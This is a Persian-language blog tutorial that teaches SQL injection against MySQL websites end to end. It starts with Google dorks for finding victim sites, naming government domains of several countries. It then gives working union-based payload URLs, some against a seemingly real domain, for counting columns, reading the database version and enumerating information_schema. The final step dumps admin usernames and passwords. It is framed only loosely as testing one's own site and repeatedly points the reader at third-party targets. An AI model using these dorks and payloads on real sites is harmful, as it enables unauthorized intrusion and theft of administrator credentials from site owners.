مصطفی چگنی
متخصص تجهیزات امنیتی و حفاظتی

آموزش SQL Injection به زبان ساده + مثالهای دنیای واقعی

SQL Injection چیست؟ چگونه مثالهای کاربردی SQL Injection را یاد بگیریم؟ در این اموزش که در چند قسمت اماده میشه سعی میکنم تمام مباحثی که sql injection اونا رو پوشش میده توضیح بدم و سعی میکنم همه چی رو به صورت عملی و کاربردی بگم که شما بتونید وب سایت هاتون رو از فیلتر این باگ بگذرونید.

دوره های شبکه، برنامه نویسی، مجازی سازی، امنیت، نفوذ و ... با برترین های ایران
  • نکته : در این سری اموزش دیتابیس target ما my sql هستش ، اولین کاری که باید انجام بشه پیدا کردن یک تارگت یا قربانی هست (البته شمایی که میخوایید تست نفوذ به وب سایت خودتون رو بزنین دیه این کار لازم نیست). ما فرض میکنیم که شما وب سایت خاصی مد نظرتون نیست و نمیدونید اون تارگتی که میخوایید پیدا کنید کجا هست و چه وب سایتیه ، یک روش برای پیدا کردن تارگت وجود داره اونم جستجو در گوگل هستش به صورت زیر در گوگل جستجو کنید:
site:.com.uk inurl:id(inurl):.php

نکته این ادرس های نامفهومی که من گذاشتم تو دنیای امنیت (دورک) نام داره. یه سری دورک در زیر قرار میدم:

us
"site:.gov.uk inurl:"id
"site:.gov.us inurl:"id
 
german
"site:.gov.de inurl:"id
 
chin
"site:.gov.cn inurl:"id
 
etc
"site:.gov.aq inurl:"id
"site:.gov inurl:"id

مثال :شما میتونید تو گوگل سرچ کنید دورک مخصوص باگ sql برای وب سایت های چینی و ... زمانی که سرچ کردید گوگل یه سری لینک به شما میده مث همیشه که سرچ میکنید. ولی یادتون باشه این دورک هایی که من گذاشتم برا سایت های دولتیه و اگه بخوایید یه سایت تجاری یا یه سایت یا شرکتی بزنید باید سرچی رو که انجام میدید بایپس کنید یعنی تغییرش بدید

"site:.gov.uk inurl:"id

این ادرس بالا رو به ادرس زیر تغییر بدید:

"site:.com.uk inurl:"id

یا اگه مثلا سایتی رو میخوایید بزنید که تکنولوژی مورد نظری منظورتونه مثلا asp یا php اینطوری بنویسید:

site:.com.uk inurl:id(inurl):.asp
site:.com.uk inurl:id(inurl):.php

خب وقتی شما تارگت مورد نظر رو پیدا کردی حالا باید بررسی کنید که اون سایت در اون صفحه باگ داره یا نه برای این کار شما به دو روش میتونید تست رو انجام بدید:

  1. روش کاراکتری
  2. روش منطقی

روش اول: زمانی که وارد سایت مورد نظر شدید تنها کاری که لازم است انجام دهید اضافه کردن یک کاراکتر تک کوتیشن به اخر ادرس وب سایت است ، مثال: این مثالی که من میزنم اینطور سایتی اصلا وجود نداره فقط محض اموزشه:

www.mamamad.com/ ?page_id=759

حالا کافیست که اینو وارد کنید:

'www.mamamad.com/ ?page_id=759

حال اگر وب سایت کامل لود شد و مشکلی نداشت یعنی باگ نداره ولی اگر اون وب سایت به جای لود کردن صفحه ادرس زیر رو نمایان کرد یعنی باگ داره و ما میتونیم به کارمون ادامه بدیم:

Warning:mysql_fetch_array():supplied argument is not valid my sql result resource in c:/hosting/45965/html/m.php on line 100

تا این warning یاهشدار رو دیدید بدونید که سایت طرف باگ داره و باید اون سایت رو پیاده کنید.

  • روش دوم : در روش دوم به اخر url یا ادس اینترنتی یه عبارت منطقی مثل زیر اضافه میکنید:
And 1=0
And1=1

اگر زمانی and1=0 رو امتحان کردید و صفحه مورد نظر کامل لود نشد و ناقص بود یعنی اسیب پذیره و با اضافه کردن 1=1 هم صفحه باید کامل لود بشه. اینطوری تست منطقی رو انجام بدید:

—www.mamamad.com/ ?page_id=759+and+1=0

و اگه میخوایید بدونید که سایت چطوری کامل لود میشه اینو امتحان کنید:

—www.mamamad.com/ ?page_id=759+and+1=1

در این قسمت با نحوه جستجو کردن و پیدا کردن تارگت اشنا شدید و یاد گرفتید که چه سایتی باگ داره یا نه . در قسمت های بعدی به ادامه اموزش پرداخته میشود.لطفا اشکالات که بر این اموزش وارد است رو بنویسید تا بهتر و کاربردی تر بشه.

آموزش پیدا کردن تعداد ستون های جدول تارگت

در قسمت قبلی با پیدا کردن تارگت و همچنین پیدا کردن باگ اشنا شدید.در این قسمت میخواهیم تعداد ستون های جدول تارگت رو پیدا کنیم برای این کار ما باید از دستور order by استفاده کنیم.برای اجرا شدن این کار باید در اخر url سایتی که از اون ارور دریافت کردیم دستور زیر رو وارد کنیم.

--[Order+by[column test

اگر عددی که وارد میکنیم بعد از لود پیج ارور دریافت کنیم یعنی تعداد ستون های وب سایت کمتر از تعدادی است که ما حدس میزنیم پس باید تعداد را تا جایی کم کنیم که دیگر از طرف سایت تارگت ارور دریافت نکنیم.زمانی هست که شما عدد 1یا 2 رو وارد میکنید و ارور دریافت نمیکنید

پس نباید فکر کنید که سایت تارگت شما 1 یا 2 ستونی است باید انقدر مقدار را زیاد کنید تا به اخرین حد برسید یعنی تا جایی که به یک مقدار برسید که ارور دریافت کنید و ان را یکی کم کنید که دیگر ارور نداشته باشد.مثال: من از عدد 15 ارور دریافت میکنم ولی لز عدد 14 ارور دریافت نمیکنم پس سایت تارگت 14 ستونی است.خب یه کم عملی تست کنیم :

http://firecrop.com/news.php?id=41

این سایت بالا رو اینطوری ستون هاشو پیدا میکنیم :

--http://firecrop.com/news.php?id=-999+order+by+30

خب این عدد 30 رو که وارد کردیم.رو انقد بالاپاین میکنیم تا ستون مورد نظر پیدا شود.حالا این عدد -999 چیه؟ این number id که وارد کردیم معمولا از تعداد جدول ها بیشتر میگیرن تا کد اجرا بشه من 999 گذاشتم شما میتونید 200 بزارید.که روش نوشتنش اینطوریه :

999-

یه نکته دیگه در گذاشتن order by من از + استفاده کردم شما میتونید از space استفاده کنید هیچ فرقی نمیکنه من اینطوری گذاشتم:

--[Order+by+[column test

شما میتونید این رو هم استفاده کنید:

--[Order by [column test

مثال کاربردی از این نکته:

--http://firecrop.com/news.php?id=-999 order by 30

آموزش پیدا کردن جدول آسیب پذیر 

بعد از پیدا کردن ستون های مورد نظرمون باید به سراغ ستون های اسیپ پذیر بریم و اونا رو پیدا کنیم.دراین قسمت از دستور union select استفاده میکنیم و بعد از این دستور. ستون های سایت تارگت رو به ترتیب پشت سر هم قرار میدیم.به صورت زیر:

http://website.com/mali.php?id=5+union+select+1+2+3+4+5--
  • نکته قابل توجه: دوستان من زمانی که ستون ها رو جستجو میکردم 5 تا ستون پیدا کردم. پس باید 5 ستون را در جلوی این دستور وارد کنم.خب بعد نوشتن دستور بالا سایت به صورت خودکار ستون های اسیب پذیر رو براتون نمایش میده: مثلا سایت تو نمایش میزنه 1و3و5 یعنی سایت تو این سه ستون اسیب پذیره و حالا ما دیگه با این سه ستون کار داریم و باید عمل inect رو برا این سه ستون پیاده سازی کنیم.

آموزش پیدا کردن نسخه یا ورژن پایگاه داده تارگت

یکی از مهمترین و حساس ترین کار ها در sql injection بیرون کشیدن ورژن دیتابیس هستش حالا چرا؟ چون بیرون کشیدن اطلاعات یک وب سایت با استفاده از این روش بستگی به ورژن دیتابیس داره یعنی روش کد زدن در ورژن های دیتابیس متفاوته مثال ورژن 5 به پایین متافته تا ورژن های 5 به بالا.

ما در این سری اموزش روش تست بر روی ورژن های 5 به بالا رو توضیح میدیم.دلیلشم اینه که وب سایت ها چون به روز میشن پس دیتا بیسشونم به روز میشه و ورژن بالا میره. خب برای بیرون کشیدن ورژن سایت فقط کافیه دستور ()verrsion یا version@@ رو داخل یکی از ستون های اسیب پذیر قرار بدید به صورت زیر:

http://www.mysite.com/news.php?id=5+union+select+1,2,version(),5--

خب همونطوری که من در قسمت قبلی متوجه شدم ستون های اسیب پذیر 1و3و5 هستن . پس باید version v رو تو یکی از این ستون ها قرار بدید تا دیتا بیس براتون به نمایش در بیاد من به صورت دلخواه version رو به جای ستون 3 گذاشتم شما میتونید به جای ستون 1 یا 3 بزارید.خب بعد از گذاشتن این کلمه تو این متد نوع دیتابیس نمایش داده میشه که یه نوشته ای به صورت زیر است.

5.0.5.1a-24-log

3

توضیح نوشته بالا: یعنی ورژن دیتابیس شما 5 هستش و این ورژن درون ستون 3 پیدا شد.اینم از قسمت چهارم امیدوارم راضی شده باشید.

آموزش فراخوانی دیتابیست برای بیرون کشیدن جدول ادمین

مهمترین باگی که در این دیتابیس وجود داره دیتابیسی به اسم information_schema هستش.ولی اول شما باید یاد بگیرید که چطور جدول های این دیتابیس رو فراخوانی کنید.چون بیشتر مواقع جدول ادمین در این دیتابیس وجود داره پس میتونید سریعتر به یوزر پسورد ادمین برای ورود به پنل مدیریت دست پیدا کنید.برای فراخوانی جدول های این دیتابیس شما باید کد زیر رو در مرورگر وارد کنید.

http://www.mysite.com/news.php?id=5+union+select+1,group_concat(table_name),3
,4,5+from+information_schema.tables--

حالا ما در اینجا جدول های دیتابیس هامون رو فراخوانی کردیم.حالا بیاییم به یکی از کد ها بپردازیم.

  • group_concat : این کد میاد کل ستون ها رو گروه بندی میکنه و اونا رو نمایش میده به صورت یک جا.حالا اگه از این کد استفاده نکنیم تمام ستون ها به صورت تک تک به نمایش در میاد و ما رو یکم سردرگم میکنه.بعد از نوشتن این تابع جدول ها به صورت زیر برامون به نمایش درمیاد.
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIV
ILEGES,KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLE
S,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,foto_gallery,gallery,gallery
_year,news,news_gallery,partners,partners_gallery,program,tips,twit,users,us

خب وقتی جدول ها رو نشون داد پس اید به دنبال جدول ادمین بگردیم تا بتونیم یوزر پس سلیت رو بدست بیاریم.جدول ادمین معمولا به اسم هاییه که در زیر مینویسم.

User,users,admin,login,username,usr,_user,tbladmin,tbluser,tblusers

آموزش فراخوانی جدول ادمین و استفاده از دستور where 

خب بعد از پیدا کردن جدول ادمین میشه گفت خیلی از راهو رفتیم.حالا برای فراخوانی جدول مورد نظرمون (جدول ادمین) ما باید از دستور where داخل تابع خود استفاده کنیم.دوستان ما در این قسمت فرض بر این میگیریم که جدول ادمین رو پیدا کردیم حالا میخواییم ستون های مورد نظر رو پیدا کنیم.یعنی چی:یعنی به جای دستور table از دستور column استفاده کنیم به شکلی که در زیر مینویسم:

http://www.mysite.com/news.php?id=5+union+select+1,group_concat(column_name),3,4,5+from+
information_schema.columns+where+table_name=0x7573657273--

این کد های نامفهوم چیه؟ توی برنامه نویسی یه سری کد وجود داره به اسم هگزا کد یا به قول استادمون مبنای 16.حالا درون sql از این کد ها برای فراخوانی ستون های جدول ادمین ازشون استفاده میشه.حالا یه راه بهتر بهتون بگم سایت ها و نرم افزار های زیادی هست که این کار رو برا ما انجام میده ولی یه چیزی هست که خیلی زیاد استفده میشه و کسی که عمل تست نفوذ رو انجام میده یکم براش بهتره چون میدونه پشت پرده ماجرا چه خبره و این ابزار hack bar مرورگر firefox هستش.این نوار بار علاوه بر تست با استفاده از باگ sql میتونید تست xss هم باهاش بزنید لینک نصب نوار بار رو در زیر قرار میدم:

https://addons.mozilla.org/en-US/firefox/addon/hackbar/

خب بریم سر اصل مطلب ما اومدیم کلمه user رو به کد هگزا تبدیل کردیم و شد این (7573657273) حالا برای این که این عدد ما به مبنای 16 بره ما یه 0x به قبل عدد اضافه میکنیم .پس ما اومدیم کلمه user رو به این عدد به صورت مبنای 16 نوشتیم که شد این (0x7573657273) خب بعد از اجرای متد بالا که نوشتیم جدول ادمین به صورت نوشته زیر برامون به نمایش درمیاد.

(4)
id,login.passwd,id,login.passwd
3

خب همانطوری که نشون داده login که نشان دهنده یوزرنیم جدول و passwd نشان دهنده پسورد جدول است برامون به نمایش دراومده.دوستان اینم قسمت ششم امیدوارم خوشتون اومده باشه

آموزش به دست آوردن Username و Password کاربر ادمین

در قسمت های قبلی تونستیم جدول ادمین رو پیدا کنیم و تونستیم جدولی رو پیدا کنیم که یوزر پسورد ادمین داخلش بود حالا باید محتویات جدول ادمین رو بیرون بریزیم.برای بیرون کشیدن یوزر پسورد سایت از تابع زیر استفاده میکنیم:

http://www.mysite.com/news.php?id=5+union+select+1,group_concat(login,0x3a,passwd),3
,4,5+from+users--

یه توضیح کوچیک در مورد کد بالا: (0x3a) ما اومدیم کاراکتر (:) رو بردیم به مبنای 16 تا یوزر پسوردی که وب سایت به نمایش درمیاره قاطی نشه.و همچنین بتونیم طول کاراکتر ها رونمایش بدیم.یه جورایی میشه گفت برای جداسازی یوزر پسورد ادمین ازش استفاده میشه.زمانی که تابع بالا رو اجرا میکنیم دستورات زیر برامون به نمایش در میاد:

(4)
admin:aadmin,p1:p1

همانطوری که در بالا مشاهده میکنید 2 تا یوزر پسورد برامون به نمایش دراومده بزارید تفکیکش کنم که متوجه بشیم جریان از چه قراره:

admin:aadmin رو میتونیم اینطوری جدا سازی کنیم username:admin و password:aadmin

و اگه بخواییم یوزر پسورد دوم رو تفکیک کنیم :

p1:p1 رو میتونیم اینطوری جدا سازی کنیم username:p1 و password:p1

همونطوری که مشاهده کردین تونستیم با استفاده از (:) یوزر پسورد رو جداکنیم و فهمش رو برا خودمون بهتر کنیم. اینم از قسمت پایانی دوستان امیدوارم خوشتون اومده باشه.


مصطفی چگنی
مصطفی چگنی

متخصص تجهیزات امنیتی و حفاظتی

mosifa.ir بازار بزرگ تجهیزات حفاظتی امنیتی ایران

نظرات